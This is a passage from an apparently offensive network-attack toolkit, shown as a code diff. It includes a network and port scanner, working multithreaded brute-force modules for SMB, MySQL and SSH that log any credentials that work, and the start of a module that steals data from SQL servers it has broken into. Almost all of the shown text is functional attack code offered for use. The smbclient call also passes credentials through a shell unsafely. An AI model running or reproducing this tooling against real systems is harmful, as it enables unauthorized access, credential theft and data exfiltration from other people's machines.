with open(netkbfile, 'w', newline='') as file:
writer = csv.writer(file)
writer.writerow(existing_headers) # Use existing headers
for mac, data in sorted_netkb_entries:
row = [
mac,
';'.join(sorted(data['IPs'], key=self.ip_key)),
';'.join(sorted(data['Hostnames'])),
data['Alive'],
';'.join(sorted(data['Ports'], key=int))
]
row.extend(data.get(action, "") for action in existing_action_columns)
writer.writerow(row)
except Exception as e:
self.logger.error(f"Error in update_netkb: {e}")
def display_csv(self, file_path):
"""
Displays the contents of the specified CSV file using Rich for enhanced visualization.
"""
with self.lock:
try:
table = Table(title=f"Contents of {file_path}", show_lines=True)
with open(file_path, 'r') as file:
reader = csv.reader(file)
headers = next(reader)
for header in headers:
table.add_column(header, style="cyan", no_wrap=True)
for row in reader:
formatted_row = [Text(cell, style="green bold") if cell else Text("", style="on red") for cell in row]
table.add_row(*formatted_row)
self.console.print(table)
except Exception as e:
self.logger.error(f"Error in display_csv: {e}")
def get_network(self):
"""
Retrieves the network information including the default gateway and subnet.
"""
try:
gws = netifaces.gateways()
default_gateway = gws['default'][netifaces.AF_INET][1]
iface = netifaces.ifaddresses(default_gateway)[netifaces.AF_INET][0]
ip_address = iface['addr']
netmask = iface['netmask']
cidr = sum([bin(int(x)).count('1') for x in netmask.split('.')])
network = ipaddress.IPv4Network(f"{ip_address}/{cidr}", strict=False)
self.logger.info(f"Network: {network}")
return network
except Exception as e:
self.logger.error(f"Error in get_network: {e}")
def get_mac_address(self, ip, hostname):
"""
Retrieves the MAC address for the given IP address and hostname.
"""
try:
mac = None
retries = 5
while not mac and retries > 0:
mac = gma(ip=ip)
if not mac:
time.sleep(2) # Attendre 2 secondes avant de réessayer
retries -= 1
if not mac:
mac = f"{ip}_{hostname}" if hostname else f"{ip}_NoHostname"
return mac
except Exception as e:
self.logger.error(f"Error in get_mac_address: {e}")
return None
class PortScanner:
"""
Helper class to perform port scanning on a target IP.
"""
def __init__(self, outer_instance, target, open_ports, portstart, portend, extra_ports):
self.outer_instance = outer_instance
self.logger = logger
self.target = target
self.open_ports = open_ports
self.portstart = portstart
self.portend = portend
self.extra_ports = extra_ports
def scan(self, port):
"""
Scans a specific port on the target IP.
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
try:
con = s.connect((self.target, port))
self.open_ports[self.target].append(port)
con.close()
except:
pass
finally:
s.close() # Ensure the socket is closed
def start(self):
"""
Starts the port scanning process for the specified range and extra ports.
"""
try:
for port in range(self.portstart, self.portend):
t = threading.Thread(target=self.scan_with_semaphore, args=(port,))
t.start()
for port in self.extra_ports:
t = threading.Thread(target=self.scan_with_semaphore, args=(port,))
t.start()
except Exception as e:
self.logger.info(f"Maximum threads defined in the semaphore reached: {e}")
def scan_with_semaphore(self, port):
"""
Scans a port using a semaphore to limit concurrent threads.
"""
with self.outer_instance.semaphore:
self.scan(port)
class ScanPorts:
"""
Helper class to manage the overall port scanning process for a network.
"""
def __init__(self, outer_instance, network, portstart, portend, extra_ports):
self.outer_instance = outer_instance
self.logger = logger
self.progress = 0
self.network = network
self.portstart = portstart
self.portend = portend
self.extra_ports = extra_ports
self.currentdir = outer_instance.currentdir
self.scan_results_dir = outer_instance.shared_data.scan_results_dir
self.timestamp = outer_instance.get_current_timestamp()
self.csv_scan_file = os.path.join(self.scan_results_dir, f'scan_{network.network_address}_{self.timestamp}.csv')
self.csv_result_file = os.path.join(self.scan_results_dir, f'result_{network.network_address}_{self.timestamp}.csv')
self.netkbfile = outer_instance.shared_data.netkbfile
self.ip_data = None
self.open_ports = {}
self.all_ports = []
self.ip_hostname_list = []
def scan_network_and_write_to_csv(self):
"""
Scans the network and writes the results to a CSV file.
"""
self.outer_instance.check_if_csv_scan_file_exists(self.csv_scan_file, self.csv_result_file, self.netkbfile)
with self.outer_instance.lock:
try:
with open(self.csv_scan_file, 'a', newline='') as file:
writer = csv.writer(file)
writer.writerow(['IP', 'Hostname', 'MAC Address'])
except Exception as e:
self.outer_instance.logger.error(f"Error in scan_network_and_write_to_csv (initial write): {e}")
# Use nmap to scan for live hosts
self.outer_instance.nm.scan(hosts=str(self.network), arguments='-sn')
for host in self.outer_instance.nm.all_hosts():
t = threading.Thread(target=self.scan_host, args=(host,))
t.start()
time.sleep(5)
self.outer_instance.sort_and_write_csv(self.csv_scan_file)
def scan_host(self, ip):
"""
Scans a specific host to check if it is alive and retrieves its hostname and MAC address.
"""
if self.outer_instance.blacklistcheck and ip in self.outer_instance.ip_scan_blacklist:
return
try:
hostname = self.outer_instance.nm[ip].hostname() if self.outer_instance.nm[ip].hostname() else ''
mac = self.outer_instance.get_mac_address(ip, hostname)
if not self.outer_instance.blacklistcheck or mac not in self.outer_instance.mac_scan_blacklist:
with self.outer_instance.lock:
with open(self.csv_scan_file, 'a', newline='') as file:
writer = csv.writer(file)
writer.writerow([ip, hostname, mac])
self.ip_hostname_list.append((ip, hostname, mac))
except Exception as e:
self.outer_instance.logger.error(f"Error getting MAC address or writing to file for IP {ip}: {e}")
self.progress += 1
time.sleep(0.1) # Adding a small delay to avoid overwhelming the network
def get_progress(self):
"""
Returns the progress of the scanning process.
"""
return (self.progress / self.total_ips) * 100
def start(self):
"""
Starts the network and port scanning process.
"""
self.scan_network_and_write_to_csv()
time.sleep(7)
self.ip_data = self.outer_instance.GetIpFromCsv(self.outer_instance, self.csv_scan_file)
self.open_ports = {ip: [] for ip in self.ip_data.ip_list}
with Progress() as progress:
task = progress.add_task("[cyan]Scanning IPs...", total=len(self.ip_data.ip_list))
for ip in self.ip_data.ip_list:
progress.update(task, advance=1)
port_scanner = self.outer_instance.PortScanner(self.outer_instance, ip, self.open_ports, self.portstart, self.portend, self.extra_ports)
port_scanner.start()
self.all_ports = sorted(list(set(port for ports in self.open_ports.values() for port in ports)))
alive_ips = set(self.ip_data.ip_list)
return self.ip_data, self.open_ports, self.all_ports, self.csv_result_file, self.netkbfile, alive_ips
class LiveStatusUpdater:
"""
Helper class to update the live status of hosts and clean up scan results.
"""
def __init__(self, source_csv_path, output_csv_path):
self.logger = logger
self.source_csv_path = source_csv_path
self.output_csv_path = output_csv_path
def read_csv(self):
"""
Reads the source CSV file into a DataFrame.
"""
try:
self.df = pd.read_csv(self.source_csv_path)
except Exception as e:
self.logger.error(f"Error in read_csv: {e}")
def calculate_open_ports(self):
"""
Calculates the total number of open ports for alive hosts.
"""
try:
alive_df = self.df[self.df['Alive'] == 1].copy()
alive_df.loc[:, 'Ports'] = alive_df['Ports'].fillna('')
alive_df.loc[:, 'Port Count'] = alive_df['Ports'].apply(lambda x: len(x.split(';')) if x else 0)
self.total_open_ports = alive_df['Port Count'].sum()
except Exception as e:
self.logger.error(f"Error in calculate_open_ports: {e}")
def calculate_hosts_counts(self):
"""
Calculates the total and alive host counts.
"""
try:
# self.all_known_hosts_count = self.df.shape[0]
self.all_known_hosts_count = self.df[self.df['MAC Address'] != 'STANDALONE'].shape[0]
self.alive_hosts_count = self.df[self.df['Alive'] == 1].shape[0]
except Exception as e:
self.logger.error(f"Error in calculate_hosts_counts: {e}")
def save_results(self):
"""
Saves the calculated results to the output CSV file.
"""
try:
if os.path.exists(self.output_csv_path):
results_df = pd.read_csv(self.output_csv_path)
results_df.loc[0, 'Total Open Ports'] = self.total_open_ports
results_df.loc[0, 'Alive Hosts Count'] = self.alive_hosts_count
results_df.loc[0, 'All Known Hosts Count'] = self.all_known_hosts_count
results_df.to_csv(self.output_csv_path, index=False)
else:
self.logger.error(f"File {self.output_csv_path} does not exist.")
except Exception as e:
self.logger.error(f"Error in save_results: {e}")
def update_livestatus(self):
"""
Updates the live status of hosts and saves the results.
"""
try:
self.read_csv()
self.calculate_open_ports()
self.calculate_hosts_counts()
self.save_results()
self.logger.info("Livestatus updated")
self.logger.info(f"Results saved to {self.output_csv_path}")
except Exception as e:
self.logger.error(f"Error in update_livestatus: {e}")
def clean_scan_results(self, scan_results_dir):
"""
Cleans up old scan result files, keeping only the most recent ones.
"""
try:
files = glob.glob(scan_results_dir + '/*')
files.sort(key=os.path.getmtime)
for file in files[:-20]:
os.remove(file)
self.logger.info("Scan results cleaned up")
except Exception as e:
self.logger.error(f"Error in clean_scan_results: {e}")
def scan(self):
"""
Initiates the network scan, updates the netkb file, and displays the results.
"""
try:
self.shared_data.bjornorch_status = "NetworkScanner"
self.logger.info(f"Starting Network Scanner")
network = self.get_network()
self.shared_data.bjornstatustext2 = str(network)
portstart = self.shared_data.portstart
portend = self.shared_data.portend
extra_ports = self.shared_data.portlist
scanner = self.ScanPorts(self, network, portstart, portend, extra_ports)
ip_data, open_ports, all_ports, csv_result_file, netkbfile, alive_ips = scanner.start()
alive_macs = set(ip_data.mac_list)
table = Table(title="Scan Results", show_lines=True)
table.add_column("IP", style="cyan", no_wrap=True)
table.add_column("Hostname", style="cyan", no_wrap=True)
table.add_column("Alive", style="cyan", no_wrap=True)
table.add_column("MAC Address", style="cyan", no_wrap=True)
for port in all_ports:
table.add_column(f"{port}", style="green")
netkb_data = []
for ip, ports, hostname, mac in zip(ip_data.ip_list, open_ports.values(), ip_data.hostname_list, ip_data.mac_list):
if self.blacklistcheck and (mac in self.mac_scan_blacklist or ip in self.ip_scan_blacklist):
continue
alive = '1' if mac in alive_macs else '0'
row = [ip, hostname, alive, mac] + [Text(str(port), style="green bold") if port in ports else Text("", style="on red") for port in all_ports]
table.add_row(*row)
netkb_data.append([mac, ip, hostname, ports])
with self.lock:
with open(csv_result_file, 'w', newline='') as file:
writer = csv.writer(file)
writer.writerow(["IP", "Hostname", "Alive", "MAC Address"] + [str(port) for port in all_ports])
for ip, ports, hostname, mac in zip(ip_data.ip_list, open_ports.values(), ip_data.hostname_list, ip_data.mac_list):
if self.blacklistcheck and (mac in self.mac_scan_blacklist or ip in self.ip_scan_blacklist):
continue
alive = '1' if mac in alive_macs else '0'
writer.writerow([ip, hostname, alive, mac] + [str(port) if port in ports else '' for port in all_ports])
self.update_netkb(netkbfile, netkb_data, alive_macs)
if self.displaying_csv:
self.display_csv(csv_result_file)
source_csv_path = self.shared_data.netkbfile
output_csv_path = self.shared_data.livestatusfile
updater = self.LiveStatusUpdater(source_csv_path, output_csv_path)
updater.update_livestatus()
updater.clean_scan_results(self.shared_data.scan_results_dir)
except Exception as e:
self.logger.error(f"Error in scan: {e}")
def start(self):
"""
Starts the scanner in a separate thread.
"""
if not self.running:
self.running = True
self.thread = threading.Thread(target=self.scan)
self.thread.start()
logger.info("NetworkScanner started.")
def stop(self):
"""
Stops the scanner.
"""
if self.running:
self.running = False
if self.thread.is_alive():
self.thread.join()
logger.info("NetworkScanner stopped.")
if __name__ == "__main__":
shared_data = SharedData()
scanner = NetworkScanner(shared_data)
scanner.scan()
+261
View File
@@ -0,0 +1,261 @@
"""
smb_connector.py - This script performs a brute force attack on SMB services (port 445) to find accessible shares using various user credentials. It logs the results of successful connections.
"""
import os
import pandas as pd
import threading
import logging
import time
from subprocess import Popen, PIPE
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
from smb.SMBConnection import SMBConnection
from queue import Queue
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="smb_connector.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "SMBBruteforce"
b_module = "smb_connector"
b_status = "brute_force_smb"
b_port = 445
b_parent = None
# List of generic shares to ignore
IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$'}
class SMBBruteforce:
"""
Class to handle the SMB brute force process.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.smb_connector = SMBConnector(shared_data)
logger.info("SMBConnector initialized.")
def bruteforce_smb(self, ip, port):
"""
Run the SMB brute force attack on the given IP and port.
"""
return self.smb_connector.run_bruteforce(ip, port)
def execute(self, ip, port, row, status_key):
"""
Execute the brute force attack and update status.
"""
self.shared_data.bjornorch_status = "SMBBruteforce"
success, results = self.bruteforce_smb(ip, port)
return 'success' if success else 'failed'
class SMBConnector:
"""
Class to manage the connection attempts and store the results.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.scan = pd.read_csv(shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("445", na=False)]
self.users = open(shared_data.usersfile, "r").read().splitlines()
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
self.lock = threading.Lock()
self.smbfile = shared_data.smbfile
# If the file doesn't exist, it will be created
if not os.path.exists(self.smbfile):
logger.info(f"File {self.smbfile} does not exist. Creating...")
with open(self.smbfile, "w") as f:
f.write("MAC Address,IP Address,Hostname,Share,User,Password,Port\n")
self.results = [] # List to store results temporarily
self.queue = Queue()
self.console = Console()
def load_scan_file(self):
"""
Load the netkb file and filter it for SMB ports.
"""
self.scan = pd.read_csv(self.shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("445", na=False)]
def smb_connect(self, adresse_ip, user, password):
"""
Attempt to connect to an SMB service using the given credentials.
"""
conn = SMBConnection(user, password, "Bjorn", "Target", use_ntlm_v2=True)
try:
conn.connect(adresse_ip, 445)
shares = conn.listShares()
accessible_shares = []
for share in shares:
if share.isSpecial or share.isTemporary or share.name in IGNORED_SHARES:
continue
try:
conn.listPath(share.name, '/')
accessible_shares.append(share.name)
logger.info(f"Access to share {share.name} successful on {adresse_ip} with user '{user}'")
except Exception as e:
logger.error(f"Error accessing share {share.name} on {adresse_ip} with user '{user}': {e}")
conn.close()
return accessible_shares
except Exception as e:
return []
def smbclient_l(self, adresse_ip, user, password):
"""
Attempt to list shares using smbclient -L command.
"""
command = f'smbclient -L {adresse_ip} -U {user}%{password}'
try:
process = Popen(command, shell=True, stdout=PIPE, stderr=PIPE)
stdout, stderr = process.communicate()
if b"Sharename" in stdout:
logger.info(f"Successful authentication for {adresse_ip} with user '{user}' & password '{password}' using smbclient -L")
logger.info(stdout.decode())
shares = self.parse_shares(stdout.decode())
return shares
else:
logger.error(f"Failed authentication for {adresse_ip} with user '{user}' & password '{password}' using smbclient -L")
return []
except Exception as e:
logger.error(f"Error executing command '{command}': {e}")
return []
def parse_shares(self, smbclient_output):
"""
Parse the output of smbclient -L to get the list of shares.
"""
shares = []
lines = smbclient_output.splitlines()
for line in lines:
if line.strip() and not line.startswith("Sharename") and not line.startswith("---------"):
parts = line.split()
if parts and parts[0] not in IGNORED_SHARES:
shares.append(parts[0])
return shares
def worker(self, progress, task_id, success_flag):
"""
Worker thread to process items in the queue.
"""
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping worker thread.")
break
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
shares = self.smb_connect(adresse_ip, user, password)
if shares:
with self.lock:
for share in shares:
if share not in IGNORED_SHARES:
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
logger.success(f"Found credentials for IP: {adresse_ip} | User: {user} | Share: {share}")
self.save_results()
self.removeduplicates()
success_flag[0] = True
self.queue.task_done()
progress.update(task_id, advance=1)
def run_bruteforce(self, adresse_ip, port):
self.load_scan_file() # Reload the scan file to get the latest IPs and ports
mac_address = self.scan.loc[self.scan['IPs'] == adresse_ip, 'MAC Address'].values[0]
hostname = self.scan.loc[self.scan['IPs'] == adresse_ip, 'Hostnames'].values[0]
total_tasks = len(self.users) * len(self.passwords)
for user in self.users:
for password in self.passwords:
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
return False, []
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
success_flag = [False]
threads = []
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
task_id = progress.add_task("[cyan]Bruteforcing SMB...", total=total_tasks)
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
t.start()
threads.append(t)
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce.")
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
break
self.queue.join()
for t in threads:
t.join()
# If no success with direct SMB connection, try smbclient -L
if not success_flag[0]:
logger.info(f"No successful authentication with direct SMB connection. Trying smbclient -L for {adresse_ip}")
for user in self.users:
for password in self.passwords:
progress.update(task_id, advance=1)
shares = self.smbclient_l(adresse_ip, user, password)
if shares:
with self.lock:
for share in shares:
if share not in IGNORED_SHARES:
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
logger.success(f"(SMB) Found credentials for IP: {adresse_ip} | User: {user} | Share: {share} using smbclient -L")
self.save_results()
self.removeduplicates()
success_flag[0] = True
if self.shared_data.timewait_smb > 0:
time.sleep(self.shared_data.timewait_smb) # Wait for the specified interval before the next attempt
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
def save_results(self):
"""
Save the results of successful connection attempts to a CSV file.
"""
df = pd.DataFrame(self.results, columns=['MAC Address', 'IP Address', 'Hostname', 'Share', 'User', 'Password', 'Port'])
df.to_csv(self.smbfile, index=False, mode='a', header=not os.path.exists(self.smbfile))
self.results = [] # Reset temporary results after saving
def removeduplicates(self):
"""
Remove duplicate entries from the results CSV file.
"""
df = pd.read_csv(self.smbfile)
df.drop_duplicates(inplace=True)
df.to_csv(self.smbfile, index=False)
if __name__ == "__main__":
shared_data = SharedData()
try:
smb_bruteforce = SMBBruteforce(shared_data)
logger.info("[bold green]Starting SMB brute force attack on port 445[/bold green]")
# Load the netkb file and get the IPs to scan
ips_to_scan = shared_data.read_data()
# Execute the brute force on each IP
for row in ips_to_scan:
ip = row["IPs"]
smb_bruteforce.execute(ip, b_port, row, b_status)
logger.info(f"Total number of successful attempts: {len(smb_bruteforce.smb_connector.results)}")
exit(len(smb_bruteforce.smb_connector.results))
except Exception as e:
logger.error(f"Error: {e}")
+204
View File
@@ -0,0 +1,204 @@
import os
import pandas as pd
import pymysql
import threading
import logging
import time
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
from queue import Queue
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="sql_bruteforce.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "SQLBruteforce"
b_module = "sql_connector"
b_status = "brute_force_sql"
b_port = 3306
b_parent = None
class SQLBruteforce:
"""
Class to handle the SQL brute force process.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.sql_connector = SQLConnector(shared_data)
logger.info("SQLConnector initialized.")
def bruteforce_sql(self, ip, port):
"""
Run the SQL brute force attack on the given IP and port.
"""
return self.sql_connector.run_bruteforce(ip, port)
def execute(self, ip, port, row, status_key):
"""
Execute the brute force attack and update status.
"""
success, results = self.bruteforce_sql(ip, port)
return 'success' if success else 'failed'
class SQLConnector:
"""
Class to manage the connection attempts and store the results.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.load_scan_file()
self.users = open(shared_data.usersfile, "r").read().splitlines()
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
self.lock = threading.Lock()
self.sqlfile = shared_data.sqlfile
if not os.path.exists(self.sqlfile):
with open(self.sqlfile, "w") as f:
f.write("IP Address,User,Password,Port,Database\n")
self.results = []
self.queue = Queue()
self.console = Console()
def load_scan_file(self):
"""
Load the scan file and filter it for SQL ports.
"""
self.scan = pd.read_csv(self.shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("3306", na=False)]
def sql_connect(self, adresse_ip, user, password):
"""
Attempt to connect to an SQL service using the given credentials without specifying a database.
"""
try:
# Première tentative sans spécifier de base de données
conn = pymysql.connect(
host=adresse_ip,
user=user,
password=password,
port=3306
)
# Si la connexion réussit, récupérer la liste des bases de données
with conn.cursor() as cursor:
cursor.execute("SHOW DATABASES")
databases = [db[0] for db in cursor.fetchall()]
conn.close()
logger.info(f"Successfully connected to {adresse_ip} with user {user}")
logger.info(f"Available databases: {', '.join(databases)}")
# Sauvegarder les informations avec la liste des bases trouvées
return True, databases
except pymysql.Error as e:
logger.error(f"Failed to connect to {adresse_ip} with user {user}: {e}")
return False, []
def worker(self, progress, task_id, success_flag):
"""
Worker thread to process items in the queue.
"""
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping worker thread.")
break
adresse_ip, user, password, port = self.queue.get()
success, databases = self.sql_connect(adresse_ip, user, password)
if success:
with self.lock:
# Ajouter une entrée pour chaque base de données trouvée
for db in databases:
self.results.append([adresse_ip, user, password, port, db])
logger.success(f"Found credentials for IP: {adresse_ip} | User: {user} | Password: {password}")
logger.success(f"Databases found: {', '.join(databases)}")
self.save_results()
self.remove_duplicates()
success_flag[0] = True
self.queue.task_done()
progress.update(task_id, advance=1)
def run_bruteforce(self, adresse_ip, port):
self.load_scan_file()
total_tasks = len(self.users) * len(self.passwords)
for user in self.users:
for password in self.passwords:
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
return False, []
self.queue.put((adresse_ip, user, password, port))
success_flag = [False]
threads = []
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
task_id = progress.add_task("[cyan]Bruteforcing SQL...", total=total_tasks)
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
t.start()
threads.append(t)
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce.")
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
break
self.queue.join()
for t in threads:
t.join()
logger.info(f"Bruteforcing complete with success status: {success_flag[0]}")
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
def save_results(self):
"""
Save the results of successful connection attempts to a CSV file.
"""
df = pd.DataFrame(self.results, columns=['IP Address', 'User', 'Password', 'Port', 'Database'])
df.to_csv(self.sqlfile, index=False, mode='a', header=not os.path.exists(self.sqlfile))
logger.info(f"Saved results to {self.sqlfile}")
self.results = []
def remove_duplicates(self):
"""
Remove duplicate entries from the results CSV file.
"""
df = pd.read_csv(self.sqlfile)
df.drop_duplicates(inplace=True)
df.to_csv(self.sqlfile, index=False)
if __name__ == "__main__":
shared_data = SharedData()
try:
sql_bruteforce = SQLBruteforce(shared_data)
logger.info("[bold green]Starting SQL brute force attack on port 3306[/bold green]")
# Load the IPs to scan from shared data
ips_to_scan = shared_data.read_data()
# Execute brute force attack on each IP
for row in ips_to_scan:
ip = row["IPs"]
sql_bruteforce.execute(ip, b_port, row, b_status)
logger.info(f"Total successful attempts: {len(sql_bruteforce.sql_connector.results)}")
exit(len(sql_bruteforce.sql_connector.results))
except Exception as e:
logger.error(f"Error: {e}")
+198
View File
@@ -0,0 +1,198 @@
"""
ssh_connector.py - This script performs a brute force attack on SSH services (port 22) to find accessible accounts using various user credentials. It logs the results of successful connections.
"""
import os
import pandas as pd
import paramiko
import socket
import threading
import logging
from queue import Queue
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="ssh_connector.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "SSHBruteforce"
b_module = "ssh_connector"
b_status = "brute_force_ssh"
b_port = 22
b_parent = None
class SSHBruteforce:
"""
Class to handle the SSH brute force process.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.ssh_connector = SSHConnector(shared_data)
logger.info("SSHConnector initialized.")
def bruteforce_ssh(self, ip, port):
"""
Run the SSH brute force attack on the given IP and port.
"""
logger.info(f"Running bruteforce_ssh on {ip}:{port}...")
return self.ssh_connector.run_bruteforce(ip, port)
def execute(self, ip, port, row, status_key):
"""
Execute the brute force attack and update status.
"""
logger.info(f"Executing SSHBruteforce on {ip}:{port}...")
self.shared_data.bjornorch_status = "SSHBruteforce"
success, results = self.bruteforce_ssh(ip, port)
return 'success' if success else 'failed'
class SSHConnector:
"""
Class to manage the connection attempts and store the results.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.scan = pd.read_csv(shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("22", na=False)]
self.users = open(shared_data.usersfile, "r").read().splitlines()
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
self.lock = threading.Lock()
self.sshfile = shared_data.sshfile
if not os.path.exists(self.sshfile):
logger.info(f"File {self.sshfile} does not exist. Creating...")
with open(self.sshfile, "w") as f:
f.write("MAC Address,IP Address,Hostname,User,Password,Port\n")
self.results = [] # List to store results temporarily
self.queue = Queue()
self.console = Console()
def load_scan_file(self):
"""
Load the netkb file and filter it for SSH ports.
"""
self.scan = pd.read_csv(self.shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("22", na=False)]
def ssh_connect(self, adresse_ip, user, password):
"""
Attempt to connect to an SSH service using the given credentials.
"""
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(adresse_ip, username=user, password=password, banner_timeout=200) # Adjust timeout as necessary
return True
except (paramiko.AuthenticationException, socket.error, paramiko.SSHException):
return False
finally:
ssh.close() # Ensure the SSH connection is closed
def worker(self, progress, task_id, success_flag):
"""
Worker thread to process items in the queue.
"""
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping worker thread.")
break
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
if self.ssh_connect(adresse_ip, user, password):
with self.lock:
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
logger.success(f"Found credentials IP: {adresse_ip} | User: {user} | Password: {password}")
self.save_results()
self.removeduplicates()
success_flag[0] = True
self.queue.task_done()
progress.update(task_id, advance=1)
def run_bruteforce(self, adresse_ip, port):
self.load_scan_file() # Reload the scan file to get the latest IPs and ports
mac_address = self.scan.loc[self.scan['IPs'] == adresse_ip, 'MAC Address'].values[0]
hostname = self.scan.loc[self.scan['IPs'] == adresse_ip, 'Hostnames'].values[0]
total_tasks = len(self.users) * len(self.passwords)
for user in self.users:
for password in self.passwords:
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
return False, []
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
success_flag = [False]
threads = []
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
task_id = progress.add_task("[cyan]Bruteforcing SSH...", total=total_tasks)
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
t.start()
threads.append(t)
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce.")
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
break
self.queue.join()
for t in threads:
t.join()
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
def save_results(self):
"""
Save the results of successful connection attempts to a CSV file.
"""
df = pd.DataFrame(self.results, columns=['MAC Address', 'IP Address', 'Hostname', 'User', 'Password', 'Port'])
df.to_csv(self.sshfile, index=False, mode='a', header=not os.path.exists(self.sshfile))
self.results = [] # Reset temporary results after saving
def removeduplicates(self):
"""
Remove duplicate entries from the results CSV file.
"""
df = pd.read_csv(self.sshfile)
df.drop_duplicates(inplace=True)
df.to_csv(self.sshfile, index=False)
if __name__ == "__main__":
shared_data = SharedData()
try:
ssh_bruteforce = SSHBruteforce(shared_data)
logger.info("Démarrage de l'attaque SSH... sur le port 22")
# Load the netkb file and get the IPs to scan
ips_to_scan = shared_data.read_data()
# Execute the brute force on each IP
for row in ips_to_scan:
ip = row["IPs"]
logger.info(f"Executing SSHBruteforce on {ip}...")
ssh_bruteforce.execute(ip, b_port, row, b_status)
logger.info(f"Nombre total de succès: {len(ssh_bruteforce.ssh_connector.results)}")
exit(len(ssh_bruteforce.ssh_connector.results))
except Exception as e:
logger.error(f"Erreur: {e}")
+189
View File
@@ -0,0 +1,189 @@
import os
import pandas as pd
import logging
import time
from sqlalchemy import create_engine
from rich.console import Console
from threading import Timer
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="steal_data_sql.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "StealDataSQL"
b_module = "steal_data_sql"
b_status = "steal_data_sql"
b_parent = "SQLBruteforce"
b_port = 3306
class StealDataSQL:
"""
Class to handle the process of stealing data from SQL servers.
"""
def __init__(self, shared_data):
try:
self.shared_data = shared_data
self.sql_connected = False
self.stop_execution = False
logger.info("StealDataSQL initialized.")
except Exception as e:
logger.error(f"Error during initialization: {e}")
def connect_sql(self, ip, username, password, database=None):
"""
Establish a MySQL connection using SQLAlchemy.
"""
try:
# Si aucune base n'est spécifiée, on se connecte sans base
db_part = f"/{database}" if database else ""
connection_str = f"mysql+pymysql://{username}:{password}@{ip}:3306{db_part}"
engine = create_engine(connection_str, connect_args={"connect_timeout": 10})
self.sql_connected = True
logger.info(f"Connected to {ip} via SQL with username {username}" + (f" to database {database}" if database else ""))
return engine
except Exception as e:
logger.error(f"SQL connection error for {ip} with user '{username}' and password '{password}'" + (f" to database {database}" if database else "") + f": {e}")
return None
def find_tables(self, engine):
"""
Find all tables in all databases, excluding system databases.
"""
try:
if self.shared_data.orchestrator_should_exit:
logger.info("Table search interrupted due to orchestrator exit.")
return []
query = """
